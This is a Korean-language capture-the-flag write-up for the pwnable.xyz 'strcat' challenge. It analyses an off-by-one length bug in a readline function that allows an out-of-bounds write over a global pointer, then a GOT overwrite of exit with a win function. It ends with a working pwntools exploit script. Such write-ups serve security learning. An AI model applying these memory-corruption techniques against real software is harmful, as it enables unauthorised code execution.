문제 풀이 환경 : Ubuntu 16.04
처음에 길을 잘못 들 뻔했는데 다행히도 잘 해결했다.
📝 Analysis
<< Mitigation >>
<< Execution >>
대충 name을 strcat 해주는 프로그램이다.
<< Code >>
· main
메뉴에 따라 기능이 실행되는 모양을 하고 있다.
1번 메뉴: strcat의 기능을 구현해놓은 것처럼 보인다.
2번 메뉴: desc 전역 변수에 설정된 주소를 참조해서 값을 수정할 수 있다. 왠지 전역 변수인 만큼 값 변경 후 수정을 해주면 될 것 같은 기분이 든다.
3번 메뉴: FSB(Format String Bug) 해보세요! 라고 어필하고 있지만 함정에 걸리지 말자. 더 간단한 방법이 있다.
· read_int32
이 함수는 기본적으로 메뉴의 기능을 선택하기 위해 존재한다.
처음에는 malloc, free의 존재와 main에 있었던 desc에 할당해준 malloc과 연계해 힙으로 풀까 싶었지만 그건 아니었다. 조작할 수 있는 벡터의 부재가 원인이었다.
(사실 printf로 malloc을 call 할 수도 있었지만 그게 목적이 아닌 것 같아 패스했다.)
· readline
우리의 주인공 함수다.
사용자로부터 입력을 받고 희안하게 name 전역 변수에 설정된 문자열의 길이를 기준으로 문자열의 끝을 null byte로 바꿔주고, 끝으로 name 문자열 길이 - 1을 리턴(☆)해준다.
그냥 보면 뭘까 싶겠지만 여기에서 취약점이 드러난다.
✨ Thinking
readline 함수를 다시 한 번 보면, v2 변수에 저장될 값은 name 주소에 strlen을 한 값이다.
중요한 점은 read 함수가 사용자로부터 null byte도 입력받는다는 사실 덕분에 우리는 v2에 저장될 값을 조작할 수 있다는 얘기다!
더하여 그 값(v2)는 리턴할 때 -1을 해주고 결국 maxlen의 값에서 빼 지게 된다.
생각해보자. v2가 0으로 설정된다면 main 함수에서 maxlen - (-1) = maxlen + 1 이 된다.
maxlen의 길이가 늘어나게 된다면 사용자가 입력할 수 있는 길이도 늘어난다는 뜻이고 이 말인즉슨, 전역 변수 name의 길이를 초과해서 바로 뒤에 붙어있는 전역 변수 desc의 값을 조작할 수 있게 된다는 것이다.
전형적인 OOB 문제였다.
🧩 Exploit Scenario
1. maxlen의 길이를 늘려준다.
2. 입력을 통해 desc의 값을 조작해준다. 조작해줄 값은 exit got다.
2-1. desc 조작 시 주의할 점 1
※ payload를 작성할 때 desc에 값을 덮어주기 전에 null byte를 하나 넣어야 한다. readline 함수 특성상 가장 처음 만나는 null byte 바로 전 byte를 null로 초기화해준다. 그렇지 않으면 다음과 같은 불상사가 일어난다.
(free got를 공격 벡터로 설정하긴 했지만 중간에 null byte를 넣어주지 않아서 0x60이 사라진 모습이다.)
(중간에 null byte를 넣어줘서 잘 바뀐 모습이다.)
2-2. 공격 벡터를 free got가 아닌 exit got로 한 이유
※ 이유는 간단하다. 사진을 보면,
타겟 함수인 win이 잘 들어가게 되었지만 plt, got 기법 특성상 한 번 이상 불린 함수들은 실제 주소로 세팅된 것을 볼 수 있다. 그러므로 한 번도 불리지 않은 함수를 타겟으로 설정하다 보니exit got로 바꾸게 된 것이다.
3. edit 기능을 이용해 win 함수로 got overwrite를 해준다. (exit got = win)
4. 지난번 문제들과 마찬가지로 1분 기다려주면 exit 함수가 트리거 되면서 끝.
🚩 Flag 🚩
from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'
p = process('./strcat')
# p = remote('svc.pwnable.xyz', 30013)
e = ELF('./strcat')
win = e.sym['win']
# free_got = e.got['free']
exit_got = e.got['exit']
def concat_name(name):
p.sendlineafter('> ', '1')
p.sendafter('Name: ', name)
def edit_desc(desc):
p.sendlineafter('> ', '2')
p.sendafter('Desc: ', desc)
def print_all():
p.sendlineafter('> ', '3')
p.sendafter('Name: ', '\x00')
p.sendafter('Desc: ', '1')
# extension of maxlen
for _ in range(10):
concat_name('\x00')
payload = b'A' * 127 + b'\x00'
payload += p64(exit_got) # free_got will be failed
concat_name(payload)
edit_desc(p32(win))
p.interactive()
p.s. 나중에 fsb로도 해봐야겠다. 한다면 double staged fsb이긴 한데 한 번 시도해봤을 때 왠지 null byte 방해 때문에 실패했던 것 같기도 하다. payload 잘 조작하면 될지도...?